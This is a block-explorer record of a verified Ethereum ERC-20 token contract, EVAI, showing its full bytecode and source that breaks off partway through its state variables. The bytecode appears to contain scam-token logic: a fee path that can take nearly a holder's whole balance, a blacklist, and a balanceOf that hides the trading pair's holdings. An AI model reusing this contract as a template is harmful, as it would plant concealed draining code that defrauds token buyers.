Address Contract Verified
Address
0x77e4EBBa9FDe666d8F514119c95c4700Cb59ECf2
Balance
0 ETH
Nonce
1
Code Size
14054 bytes
Creator
0x0c49728D...18f2 at tx 0xb318a736...f1f9ae
Indexed Transactions
0 (1 on-chain, 1.5% indexed)
Contract Bytecode
14054 bytes
0x608060405260043610610143575f3560e01c806370a08231116100b557806395d89b411161006e57806395d89b41146103fa578063a9059cbb14610424578063bc33718214610460578063bf474bed14610488578063c9567bf9146104b2578063dd62ed3e146104c85761014a565b806370a0823114610314578063715018a614610350578063751039fc146103665780637d1db4a51461037c5780638da5cb5b146103a65780638f9a55c0146103d05761014a565b806318160ddd1161010757806318160ddd1461023057806323b872dd1461025a578063313ce567146102965780634fab9e4c146102c057806351bc3c85146102d65780635d0044ca146102ec5761014a565b806306fdde031461014e578063095ea7b3146101785780630b7640b8146101b45780630b78f9c0146101de5780630faee56f146102065761014a565b3661014a57005b5f5ffd5b348015610159575f5ffd5b50610162610504565b60405161016f919061285a565b60405180910390f35b348015610183575f5ffd5b5061019e6004803603810190610199919061290b565b610541565b6040516101ab9190612963565b60405180910390f35b3480156101bf575f5ffd5b506101c861055e565b6040516101d5919061298b565b60405180910390f35b3480156101e9575f5ffd5b5061020460048036038101906101ff91906129a4565b61057d565b005b348015610211575f5ffd5b5061021a610797565b604051610227919061298b565b60405180910390f35b34801561023b575f5ffd5b5061024461079d565b604051610251919061298b565b60405180910390f35b348015610265575f5ffd5b50610280600480360381019061027b91906129e2565b6107c0565b60405161028d9190612963565b60405180910390f35b3480156102a1575f5ffd5b506102aa610894565b6040516102b79190612a4d565b60405180910390f35b3480156102cb575f5ffd5b506102d461089c565b005b3480156102e1575f5ffd5b506102ea610de0565b005b3480156102f7575f5ffd5b50610312600480360381019061030d9190612a66565b610e8f565b005b34801561031f575f5ffd5b5061033a60048036038101906103359190612a91565b610f2e565b604051610347919061298b565b60405180910390f35b34801561035b575f5ffd5b50610364610f8b565b005b348015610371575f5ffd5b5061037a6110db565b005b348015610387575f5ffd5b5061039061120b565b60405161039d919061298b565b60405180910390f35b3480156103b1575f5ffd5b506103ba611211565b6040516103c79190612acb565b60405180910390f35b3480156103db575f5ffd5b506103e4611238565b6040516103f1919061298b565b60405180910390f35b348015610405575f5ffd5b5061040e61123e565b60405161041b919061285a565b60405180910390f35b34801561042f575f5ffd5b5061044a6004803603810190610445919061290b565b61127b565b6040516104579190612963565b60405180910390f35b34801561046b575f5ffd5b5061048660048036038101906104819190612a66565b611298565b005b348015610493575f5ffd5b5061049c611337565b6040516104a9919061298b565b60405180910390f35b3480156104bd575f5ffd5b506104c6611356565b005b3480156104d3575f5ffd5b506104ee60048036038101906104e99190612ae4565b6114c7565b6040516104fb919061298b565b60405180910390f35b60606040518060400160405280600381526020017f4545450000000000000000000000000000000000000000000000000000000000815250905090565b5f61055461054d611549565b8484611550565b6001905092915050565b6009600a61056c9190612c7e565b62061a8061057a9190612cc8565b81565b610585611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060990612d53565b60405180910390fd5b601e82111580156106245750601e8111155b801561063b5750600f5f9054906101000a900460ff165b61067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190612dbb565b60405180910390fd5b81600881905550806009819055505f6005600954116106d4576106cf60646009600a6106a69190612c7e565b633b9aca006106b59190612cc8565b60016106c19190612cc8565b6116de90919063ffffffff16565b610717565b6107116103e86009600a6106e89190612c7e565b633b9aca006106f79190612cc8565b60056107039190612cc8565b6116de90919063ffffffff16565b600c8190555b90507f29ddd482d71f6b4ad9a6b3978c21b2aa56a029d1de02646578471e24a465cb4583836107796103e86009600a6107509190612c7e565b633b9aca0061075f9190612cc8565b600561076b9190612cc8565b6116de90919063ffffffff16565b841460405161078a93929190612dd9565b60405180910390a1505050565b600c5481565b5f6009600a6107ac9190612c7e565b633b9aca006107bb9190612cc8565b905090565b5f6107cc848484611727565b610889846107d8611549565b610884856040518060600160405280602881526020016136896028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61083b611549565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121349092919063ffffffff16565b611550565b600190509392505050565b5f6009905090565b6108a4611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092890612d53565b60405180910390fd5b600f5f9054906101000a900460ff1615610980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097790612e58565b60405180910390fd5b5f6109dd6109c660646109b85f6009600a61099b9190612c7e565b633b9aca006109aa9190612cc8565b61219690919063ffffffff16565b6116de90919063ffffffff16565b6109cf30610f2e565b61220d90919063ffffffff16565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a7b3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610a679190612c7e565b633b9aca00610a769190612cc8565b611550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b099190612e8a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b8f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb39190612e8a565b6040518363ffffffff1660e01b8152600401610bd0929190612eb5565b6020604051808303815f875af1158015610bec573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c109190612e8a565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f5f610c99611549565b426040518863ffffffff1660e01b8152600401610cbb96959493929190612f1e565b60606040518083038185885af1158015610cd7573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cfc9190612f91565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d9c929190612fe1565b6020604051808303815f875af1158015610db8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ddc9190613032565b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e20611549565b73ffffffffffffffffffffffffffffffffffffffff1614610e3f575f5ffd5b5f610e4930610f2e565b90505f81118015610e665750600f60029054906101000a900460ff165b15610e7557610e7481612256565b5b5f4790505f811115610e8b57610e8a816124c1565b5b5050565b610e97611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90612d53565b60405180910390fd5b80600e8190555050565b5f610f3882612529565b15610f45575f9050610f86565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b610f93611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101790612d53565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110e3611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612d53565b60405180910390fd5b6009600a61117e9190612c7e565b633b9aca0061118d9190612cc8565b600d819055506009600a6111a19190612c7e565b633b9aca006111b09190612cc8565b600e819055507f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96009600a6111e59190612c7e565b633b9aca006111f49190612cc8565b604051611201919061298b565b60405180910390a1565b600d5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b60606040518060400160405280600381526020017f4545450000000000000000000000000000000000000000000000000000000000815250905090565b5f61128e611287611549565b8484611727565b6001905092915050565b6112a0611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612d53565b60405180910390fd5b80600d8190555050565b6009600a6113459190612c7e565b623d09006113539190612cc8565b81565b61135e611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e290612d53565b60405180910390fd5b600f5f9054906101000a900460ff161561143a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611431906130a7565b60405180910390fd5b6001600f60026101000a81548160ff0219169083151502179055506001600f5f6101000a81548160ff0219169083151502179055507f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c600f5f9054906101000a900460ff16600f60029054906101000a900460ff166040516114bd9291906130c5565b60405180910390a1565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115b857505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee90613136565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116d1919061298b565b60405180910390a3505050565b5f61171f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126bd565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178f57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6117ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c59061319e565b60405180910390fd5b5f5f90506117da611211565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118485750611818611211565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457600f5f9054906101000a900460ff1661193b5760035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806118fb575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61193a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193190613206565b60405180910390fd5b5b5f600a54118015611992575060035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156119e457601460015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119e19190613224565b91505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a8d575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ae0575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b9a57600d54821115611b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b21906132a1565b60405180910390fd5b600e5482611b3785610f2e565b611b4191906132bf565b1115611b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b799061333c565b60405180910390fd5b600a5f815480929190611b949061335a565b91905055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c2257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611c6657611c5f6064611c515f600a5411611c3e575f611c42565b6009545b8561219690919063ffffffff16565b6116de90919063ffffffff16565b9050611d2f565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cee57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d2e57611d2b6064611d1d5f600a5411611d0a575f611d0e565b6008545b8561219690919063ffffffff16565b6116de90919063ffffffff16565b90505b5b80600b5f828254611d4091906132bf565b925050819055505f611d5130610f2e565b9050600f60019054906101000a900460ff16158015611dbc575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611dd45750600f60029054906101000a900460ff165b8015611dfa57506009600a611de99190612c7e565b623d0900611df79190612cc8565b81115b8015611e0857506014600a54115b8015611e3057506009600a611e1d9190612c7e565b62061a80611e2b9190612cc8565b600b54115b15611e82575f600c548211611e455781611e49565b600c545b9050611e62818511611e5b5784611e5d565b815b612256565b5f4790505f811115611e7857611e77476124c1565b5b5f600b8190555050505b505b5f811115611f8357611edc8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461271e90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f7a919061298b565b60405180910390a35b611fd38260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461220d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061207661202a828461220d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461271e90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612119848661220d90919063ffffffff16565b604051612126919061298b565b60405180910390a350505050565b5f83831115829061217b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612172919061285a565b60405180910390fd5b505f83856121899190613224565b9050809150509392505050565b5f5f83036121a6575f9050612207565b5f82846121b39190612cc8565b90508284826121c291906133ce565b14612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f99061346e565b60405180910390fd5b809150505b92915050565b5f61224e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612134565b905092915050565b6001600f60016101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561228d5761228c61348c565b5b6040519080825280602002602001820160405280156122bb5781602001602082028036833780820191505090505b50905030815f815181106122d2576122d16134b9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612376573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061239a9190612e8a565b816001815181106123ae576123ad6134b9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124143060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161247695949392919061359d565b5f604051808303815f87803b15801561248d575f5ffd5b505af115801561249f573d5f5f3e3d5ffd5b50505050505f600f60016101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612525573d5f5f3e3d5ffd5b5050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561263e57505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125fd9190612acb565b602060405180830381865afa158015612618573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061263c91906135f5565b115b8015612697575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b80156126a957506126a73261277b565b155b6126b3575f6126b6565b60015b9050919050565b5f5f83118290612703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fa919061285a565b60405180910390fd5b505f838561271191906133ce565b9050809150509392505050565b5f5f828461272c91906132bf565b905083811015612771576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127689061366a565b60405180910390fd5b8091505092915050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806127e3575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61282c826127ea565b61283681856127f4565b9350612846818560208601612804565b61284f81612812565b840191505092915050565b5f6020820190508181035f8301526128728184612822565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128a78261287e565b9050919050565b6128b78161289d565b81146128c1575f5ffd5b50565b5f813590506128d2816128ae565b92915050565b5f819050919050565b6128ea816128d8565b81146128f4575f5ffd5b50565b5f81359050612905816128e1565b92915050565b5f5f604083850312156129215761292061287a565b5b5f61292e858286016128c4565b925050602061293f858286016128f7565b9150509250929050565b5f8115159050919050565b61295d81612949565b82525050565b5f6020820190506129765f830184612954565b92915050565b612985816128d8565b82525050565b5f60208201905061299e5f83018461297c565b92915050565b5f5f604083850312156129ba576129b961287a565b5b5f6129c7858286016128f7565b92505060206129d8858286016128f7565b9150509250929050565b5f5f5f606084860312156129f9576129f861287a565b5b5f612a06868287016128c4565b9350506020612a17868287016128c4565b9250506040612a28868287016128f7565b9150509250925092565b5f60ff82169050919050565b612a4781612a32565b82525050565b5f602082019050612a605f830184612a3e565b92915050565b5f60208284031215612a7b57612a7a61287a565b5b5f612a88848285016128f7565b91505092915050565b5f60208284031215612aa657612aa561287a565b5b5f612ab3848285016128c4565b91505092915050565b612ac58161289d565b82525050565b5f602082019050612ade5f830184612abc565b92915050565b5f5f60408385031215612afa57612af961287a565b5b5f612b07858286016128c4565b9250506020612b18858286016128c4565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115612ba457808604811115612b8057612b7f612b22565b5b6001851615612b8f5780820291505b8081029050612b9d85612b4f565b9450612b64565b94509492505050565b5f82612bbc5760019050612c77565b81612bc9575f9050612c77565b8160018114612bdf5760028114612be957612c18565b6001915050612c77565b60ff841115612bfb57612bfa612b22565b5b8360020a915084821115612c1257612c11612b22565b5b50612c77565b5060208310610133831016604e8410600b8410161715612c4d5782820a905083811115612c4857612c47612b22565b5b612c77565b612c5a8484846001612b5b565b92509050818404811115612c7157612c70612b22565b5b81810290505b9392505050565b5f612c88826128d8565b9150612c9383612a32565b9250612cc07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612bad565b905092915050565b5f612cd2826128d8565b9150612cdd836128d8565b9250828202612ceb816128d8565b91508282048414831517612d0257612d01612b22565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612d3d6020836127f4565b9150612d4882612d09565b602082019050919050565b5f6020820190508181035f830152612d6a81612d31565b9050919050565b7f457863656564732076616c7565000000000000000000000000000000000000005f82015250565b5f612da5600d836127f4565b9150612db082612d71565b602082019050919050565b5f6020820190508181035f830152612dd281612d99565b9050919050565b5f606082019050612dec5f83018661297c565b612df9602083018561297c565b612e066040830184612954565b949350505050565b7f696e697420616c72656164792063616c6c6564000000000000000000000000005f82015250565b5f612e426013836127f4565b9150612e4d82612e0e565b602082019050919050565b5f6020820190508181035f830152612e6f81612e36565b9050919050565b5f81519050612e84816128ae565b92915050565b5f60208284031215612e9f57612e9e61287a565b5b5f612eac84828501612e76565b91505092915050565b5f604082019050612ec85f830185612abc565b612ed56020830184612abc565b9392505050565b5f819050919050565b5f819050919050565b5f612f08612f03612efe84612edc565b612ee5565b6128d8565b9050919050565b612f1881612eee565b82525050565b5f60c082019050612f315f830189612abc565b612f3e602083018861297c565b612f4b6040830187612f0f565b612f586060830186612f0f565b612f656080830185612abc565b612f7260a083018461297c565b979650505050505050565b5f81519050612f8b816128e1565b92915050565b5f5f5f60608486031215612fa857612fa761287a565b5b5f612fb586828701612f7d565b9350506020612fc686828701612f7d565b9250506040612fd786828701612f7d565b9150509250925092565b5f604082019050612ff45f830185612abc565b613001602083018461297c565b9392505050565b61301181612949565b811461301b575f5ffd5b50565b5f8151905061302c81613008565b92915050565b5f602082840312156130475761304661287a565b5b5f6130548482850161301e565b91505092915050565b7f74726164696e6720616c7265616479206f70656e0000000000000000000000005f82015250565b5f6130916014836127f4565b915061309c8261305d565b602082019050919050565b5f6020820190508181035f8301526130be81613085565b9050919050565b5f6040820190506130d85f830185612954565b6130e56020830184612954565b9392505050565b7f45524332303a20617070726f766520746865207a65726f2061646472657373005f82015250565b5f613120601f836127f4565b915061312b826130ec565b602082019050919050565b5f6020820190508181035f83015261314d81613114565b9050919050565b7f45524332303a207472616e7366657220746865207a65726f20616464726573735f82015250565b5f6131886020836127f4565b915061319382613154565b602082019050919050565b5f6020820190508181035f8301526131b58161317c565b9050919050565b7f74726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f6131f06014836127f4565b91506131fb826131bc565b602082019050919050565b5f6020820190508181035f83015261321d816131e4565b9050919050565b5f61322e826128d8565b9150613239836128d8565b925082820390508181111561325157613250612b22565b5b92915050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61328b6019836127f4565b915061329682613257565b602082019050919050565b5f6020820190508181035f8301526132b88161327f565b9050919050565b5f6132c9826128d8565b91506132d4836128d8565b92508282019050808211156132ec576132eb612b22565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613326601a836127f4565b9150613331826132f2565b602082019050919050565b5f6020820190508181035f8301526133538161331a565b9050919050565b5f613364826128d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361339657613395612b22565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6133d8826128d8565b91506133e3836128d8565b9250826133f3576133f26133a1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6134586021836127f4565b9150613463826133fe565b604082019050919050565b5f6020820190508181035f8301526134858161344c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135188161289d565b82525050565b5f613529838361350f565b60208301905092915050565b5f602082019050919050565b5f61354b826134e6565b61355581856134f0565b935061356083613500565b805f5b83811015613590578151613577888261351e565b975061358283613535565b925050600181019050613563565b5085935050505092915050565b5f60a0820190506135b05f83018861297c565b6135bd6020830187612f0f565b81810360408301526135cf8186613541565b90506135de6060830185612abc565b6135eb608083018461297c565b9695505050505050565b5f6020828403121561360a5761360961287a565b5b5f61361784828501612f7d565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613654601b836127f4565b915061365f82613620565b602082019050919050565b5f6020820190508181035f83015261368181613648565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a16c0ee5f35578eed7bae891acaffaa9aa79c6bafb4571fb897d8d7f0ff6224464736f6c634300081f0033
Verified Source Code Full Match
Compiler: v0.8.31+commit.fd3a2265
EVM: osaka
Optimization: No
r_3_6.sol 471 lines
// SPDX-License-Identifier: MIT
/**
**/
pragma solidity ^0.8.29;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EVAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _blacklist;
address payable private _feeWallet;
address private uniswapV2Pair;
IUniswapV2Router02 private uniswapV2Router;
uint256 private constant _initialBuyTax = 0;
uint256 private constant _initialSellTax = 0;
uint256 private constant _reduceBuyTaxAt = 0;
uint256 private constant _reduceSellTaxAt = 0;
